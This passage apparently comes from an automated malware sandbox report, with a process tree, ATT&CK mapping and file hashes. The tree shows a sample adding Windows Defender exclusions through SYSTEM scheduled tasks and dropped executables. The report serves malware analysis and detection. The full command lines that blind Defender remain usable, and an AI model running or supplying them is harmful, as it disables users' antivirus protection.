    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4160
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1516
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3020
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2344
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1540
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:416
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3368
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5032
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:3040
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4840
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:756
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:716
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:3768
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4724
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2608
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4520

C:\Users\Public\qO1Gea\3eHF9B.exe
"C:\Users\Public\qO1Gea\3eHF9B.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2800

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qO1Gea" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4788
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qO1Gea" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1516

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2444

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4104
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2540

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1028
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2388

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4652

C:\Program Files (x86)\Vp9r2886i\bRdHv06.exe
"C:\Program Files (x86)\Vp9r2886i\bRdHv06.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1600

C:\Program Files (x86)\iWMlVR\iWMlVR.exe
"C:\Program Files (x86)\iWMlVR\iWMlVR.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:404

C:\Program Files (x86)\Vp9r2886i\bRdHv06.exe
"C:\Program Files (x86)\Vp9r2886i\bRdHv06.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2176

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\iWMlVR" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1908
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\iWMlVR" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4636

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2600
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5076

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1160
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3240

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2536
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2484

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3208
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\Vp9r2886i\XPSPLOG.dll
Size 4.6MB
SHA256 5de22b274412e2ade479a603129ccc6ef47a658776c6ded11ed1d4f26a0a0382
MD5 c0a3d3a58dd2b6948ff329ce752b7a08
SHA1 f53e34427a4a7bdc5a5a3d0685595934fd1f7d1f
SHA512 a71fd10e37772e3856c087870ca41613c00d4b8ed24f17f302701864a9f119833f1fc88a6051499be51cf5a87add3a9baa3d7fa82c56172fca5bf8e725478dd5
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyT:BMWKfU+BcUTHCCCfqCiUffnT
TLSH
T118263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\Vp9r2886i\image.png
Size 4.8MB
SHA256 2d1be83e4b1dd56b2cc255ea83986c63192a9386880e5ec46766b3b19730e2c7
MD5 9160f72b959234dbcfeec5e703b8e461
SHA1 4dae12abedd2ecd9c53a70070cc79f0a8d70c26c
SHA512 7ba03597d80e232e28ddabc1db1711b8c8eba54261bfd1ab4fd8dacf4f6d9e32dd3b53521972e248dbabbde91c784087145bad63791c70a24c2f65457306477b
SSDEEP 98304:B/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:BMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1A836334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\iWMlVR\XPSPLOG.dll
Size 4.6MB
SHA256 0b92ea23b7347f876b37e064490d24c10f4809e7d7130b330262d0c17afa648e
MD5 7b1024224ab62abf1701940495d9345b
SHA1 3d1a047d1fa7ab5e5e98cf013ecbabf4ff931994
SHA512 4dd9c0bdb59f192370c9511082996ad459fbbd97aa58be5c0d40eed4557df7c28249ea1fcdd0c8478edc10bf57ec6b5d10fb7eb551f8b19ad422d4384383ffe5
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyx:BMWKfU+BcUTHCCCfqCiUffnx
TLSH
T1E0263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

iWMlVR.exe

Path C:\Program Files (x86)\iWMlVR\iWMlVR.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\iWMlVR\image.png
Size 4.8MB
SHA256 8c1fd054277c0fb167d51ed689e710023137ff549e4fc2bf1c8efad918018019
MD5 4b986762506068dabf350193cd0f4755
SHA1 a97dd82ea678f166e26d3050a2cf63f4ce0585ab
SHA512 d26a06d00f3add27efa39035e2dd42b643b5ff9dd92b88d5aa42d9a59b0c5d04abd3557ff8f84af5eae7274b8b7c3b4e4e1b8b94637f2e7df7813a54fbaaf6fe
SSDEEP 98304:Y/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:YMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T18836334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\iWMlVR\thumbs.db
Size 358KB
SHA256 9241959ae9db13b129d0271f7b1e4b2f7c941c2d02405ffa9bdd2f582bf74daf
MD5 c98fd964008315dd1ab8d0d93cc45f48
SHA1 32626e3bf40c60a0608c304c4a413fbe4388ce43
SHA512 b4164662219a7de3aaafa93c31ad8f36be90775749bc45aa9a30511ce25a20aad65c1fe42b4932ef5743d522fa7bf5a2c7dd4b828f0b34ad9cb4b8687bdd0f79
SSDEEP 6144:DiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:W8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T11274F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 c387f041822ae0ee00caa7e1346881eb502a9d6392d3a22db53eab02e7778061
MD5 2ff25ee6d884c3a6071107ff6246e9df
SHA1 faecf4cb964e85039e395e13424298befc155ac8
SHA512 d605384c4c28b74fb579a3985e01be1e828a0ef82d3afa296ba6f416c2b7221366edc8b3e9ad54f075f61b5219821d5c006146d70b6e2658a5ed9cd30f33202d
TLSH
T1B33194BF6FBD794A9F3E8D5824CAF3211CA4E2D06CC9448A9258C4A45F0C3F22F5A50D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 9bbb89221f1bf278d8da8d8a138dd8fe74ddcaa5124f0f0cece258179d9107eb
MD5 d9090e44f14b2054fb6806f32bdef506
SHA1 9da7678e027e32e444ddbf9e11f4cb10e83a6be1
SHA512 0bfaf79d0808b11dcd54901c05793bc8a39f99071c399c17e178c910ede113b72e2aa9f70469a85b9c7c827d4766bf4f6ec5dda774fad35ff2208d51a042c67b
TLSH
T1AC31D69A8E3A0056EB0D8F7552C0D13BACF19574ACE84888657ED73F5A05FB79FCA400
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 6c7343176fb5fd11574c133efff4c41a6c8960f8d423d1ab69552963cf34a829
MD5 b30fcbd2ccd6435779e1e493411b98d2
SHA1 5042c231e9bd7a7588f9ef133c8208adf159b8d1
SHA512 b77a63283f4f61028b8bb757e31ded6c6578a0bce0e08d513c690bf10e1c6d99bdc9fd6a60ba2ce447d47d7092fe3d39e70f2dda6c6dba53e72982ee55b41408
TLSH
T157F0540805FD417DF532D93CCBF4395E576AF7061402455846F14B09B153E411D5357F
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 e7566c408f9b685122a0c46091d86023c6858e7a788e1dfee833ffafdea849b6
MD5 67005394ecaf29b733e95b3dabe1c6af
SHA1 984b2e60eec2d50ddf4abadb9d9b5a757ec8dda4
SHA512 83828ef066f06268a3a5cc66f4ed85654bc03a2e85b4a8d976a5b1b542d00c06ef4b945f3b334170e5cbe85e2087c15680dceed90910a5a65af7c8a83d752845
TLSH
T11DF05C2956D9601FF07BD6B44EE67A615A35FA223027917E0AA903441F5AD044C4167A
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
TLSH
T1A4417C303261A9D84D435B0215286ED5E3EF478AAFAC5F5CB569231DCE2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 d81c0586f2d88250d4fedd4d0fbbac728751f88ae4b1b4b29b1e3e181172a9a0
MD5 1374081869e696a3834d3aac541010a1
SHA1 50ad9f90a7d648b7b19e71300055a341065ca411
SHA512 8595142fda5ea820548eb8bfe64eb7f79932d66ce6bc0fbb67c9784aa1bd54d13f962d3718d266db7e3b5de6047f73709be90b420efdfbb8454594515b83b956
SSDEEP 384:jsf+Bh9m+xDwaw3dVVJk+okwTTVK6seY4JE/A/H3SoZTfx3gUjELkyQ0gdEtkKhD:YfK1YdVUmwTTVNnO6XS2OqEL/Ce3
TLSH
T17482E76E611F16C3C48623B8E11B045FE8F2DD8D531A13D97B1E9F3B8AAC69E903D548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_hybob0cm.e0v.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hybob0cm.e0v.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

3eHF9B.exe

Path C:\Users\Public\qO1Gea\3eHF9B.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\qO1Gea\UxEnhance64.dll
Size 3.1MB
SHA256 4cbc4b99cbcb002e3c81262c0f343b59577cc266f288dc25316fd7406a945808
MD5 c4cef8462f0367eebfe7e7568619d7c9
SHA1 6b9787acbf4e3973e5095096711770d87391abf0
SHA512 84d82f79a81227bfa8b1dfe71c3414ce89058aaee550c92dc5f005ef829de9384bd82bd0d69e13592f48f33fb706d00aeb87bd97a1ae071c27e92cd4f6b860c1
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB++:P9m29xx3Tiqt06ox6+z2rNNrKo+
TLSH
T1D2E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\qO1Gea\adoresd.dat
Size 4.8MB
SHA256 b16d194bff792ff28881e59ec9450201599aaf0502761791937f5f7863a704a7
MD5 c21136c96c2bac9e9da010d86e07ce06
SHA1 9cbd5c80c06c99107b47f3bdae1fb1e1fcde0464
SHA512 1e5b4b6aed9fe139697f40ab7c819f7153a544d44390fa1403885909764a7eb6aee611f00c9ff3dd084b2c92ecf6f16daf6801d18478dd65be0f2790888edaa7
SSDEEP 98304:TWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:TWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T11D3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\qO1Gea\msadox.tb
Size 8KB
SHA256 9fdd378b4b2850b83dddea3d9e1fb1884f74d884b178061a2ad80637c789d957
MD5 4fb100073168bf681d7966e7380634ad
SHA1 91b99b6c1999b9cf122d77f920ddf3cce20396e3
SHA512 db048a31a9a3074a41b3fd679b0fa4e15c81cb89bbea0742859a1e780a3059b784443f57188e5e04a233171fa93fcba508cf5dbd707dc8ae16fa64d573fa60b5
SSDEEP 192:sqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ssZqZOXQ3uqvR2Kfzp
TLSH
T17C029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/404-758-0x0000000001350000-0x0000000001351000-memory.dmp

Download

memory/404-741-0x0000000001350000-0x0000000001351000-memory.dmp

Download

memory/404-753-0x0000000001380000-0x0000000001381000-memory.dmp

Download

memory/404-754-0x00000000039E0000-0x00000000041BD000-memory.dmp

Download

memory/404-747-0x00000000039E0000-0x00000000041BD000-memory.dmp

Download

memory/404-742-0x0000000074F40000-0x000000007568A000-memory.dmp

Download

memory/924-702-0x0000000003830000-0x000000000400D000-memory.dmp

Download

memory/924-731-0x0000000003830000-0x000000000400D000-memory.dmp

Download

memory/924-689-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/924-665-0x00000000012D0000-0x00000000012D1000-memory.dmp

Download

memory/924-672-0x0000000001500000-0x0000000001501000-memory.dmp

Download

memory/924-666-0x0000000074F40000-0x000000007568A000-memory.dmp

Download

memory/924-713-0x0000000003830000-0x000000000400D000-memory.dmp

Download

memory/924-670-0x0000000003830000-0x000000000400D000-memory.dmp

Download

memory/924-692-0x0000000001580000-0x0000000001594000-memory.dmp

Download

memory/924-677-0x0000000003830000-0x000000000400D000-memory.dmp

Download

memory/924-673-0x0000000003830000-0x000000000400D000-memory.dmp

Download

memory/1536-812-0x0000000006E70000-0x0000000006EBC000-memory.dmp

Download

memory/1536-822-0x0000000007E80000-0x0000000007E91000-memory.dmp

Download

memory/1536-821-0x0000000007B10000-0x0000000007BB3000-memory.dmp

Download

memory/1536-813-0x000000006F300000-0x000000006F34C000-memory.dmp

Download

memory/1536-809-0x0000000006380000-0x00000000066D4000-memory.dmp

Download

memory/1600-726-0x0000000001120000-0x0000000001121000-memory.dmp

Download

memory/1600-719-0x0000000001100000-0x0000000001101000-memory.dmp

Download

memory/1600-720-0x0000000073A20000-0x000000007416A000-memory.dmp

Download

memory/1600-724-0x0000000003840000-0x000000000401D000-memory.dmp

Download

memory/1600-727-0x0000000003840000-0x000000000401D000-memory.dmp

Download

memory/1600-730-0x0000000001100000-0x0000000001101000-memory.dmp

Download

memory/2176-750-0x0000000003B60000-0x000000000433D000-memory.dmp

Download

memory/2176-738-0x0000000073A20000-0x000000007416A000-memory.dmp

Download

memory/2176-749-0x0000000002FB0000-0x0000000002FB1000-memory.dmp

Download

memory/2176-737-0x0000000001830000-0x0000000001831000-memory.dmp

Download

memory/2176-745-0x0000000003B60000-0x000000000433D000-memory.dmp

Download

memory/2176-757-0x0000000001830000-0x0000000001831000-memory.dmp

Download

memory/2216-0-0x00000000001D0000-0x00000000001DE000-memory.dmp

Download

memory/2216-504-0x00007FFF00040000-0x00007FFF00050000-memory.dmp

Download

memory/2216-2-0x00000000001E0000-0x00000000001EC000-memory.dmp

Download

memory/2216-525-0x00007FFF00040000-0x00007FFF00050000-memory.dmp

Download

memory/2216-524-0x00000000001D0000-0x00000000001DE000-memory.dmp

Download

memory/2216-1-0x00000000001D0000-0x00000000001DE000-memory.dmp

Download

memory/2800-579-0x00007FFF0EA20000-0x00007FFF0EA22000-memory.dmp

Download

memory/2800-585-0x0000026027840000-0x0000026028117000-memory.dmp

Download

memory/2800-588-0x00007FFF0EA10000-0x00007FFF0EA12000-memory.dmp

Download

memory/2800-587-0x0000026027840000-0x0000026028117000-memory.dmp

Download

memory/2800-586-0x0000026027840000-0x0000026028117000-memory.dmp

Download

memory/2800-584-0x0000026027840000-0x0000026028117000-memory.dmp

Download

memory/2800-580-0x0000026027840000-0x0000026028117000-memory.dmp

Download

memory/2800-573-0x0000026027840000-0x0000026028117000-memory.dmp

Download

memory/2800-570-0x00007FFEF0A20000-0x00007FFEF0F3E000-memory.dmp

Download

memory/3120-561-0x00000150EEB90000-0x00000150EEC1A000-memory.dmp

Download

memory/3120-560-0x00000150EEAB0000-0x00000150EEAFE000-memory.dmp

Download

memory/3120-562-0x00000150EEB90000-0x00000150EEC1A000-memory.dmp

Download

memory/3120-563-0x00000150EEB90000-0x00000150EEC1A000-memory.dmp

Download

memory/3120-564-0x00000150EEB90000-0x00000150EEC1A000-memory.dmp

Download

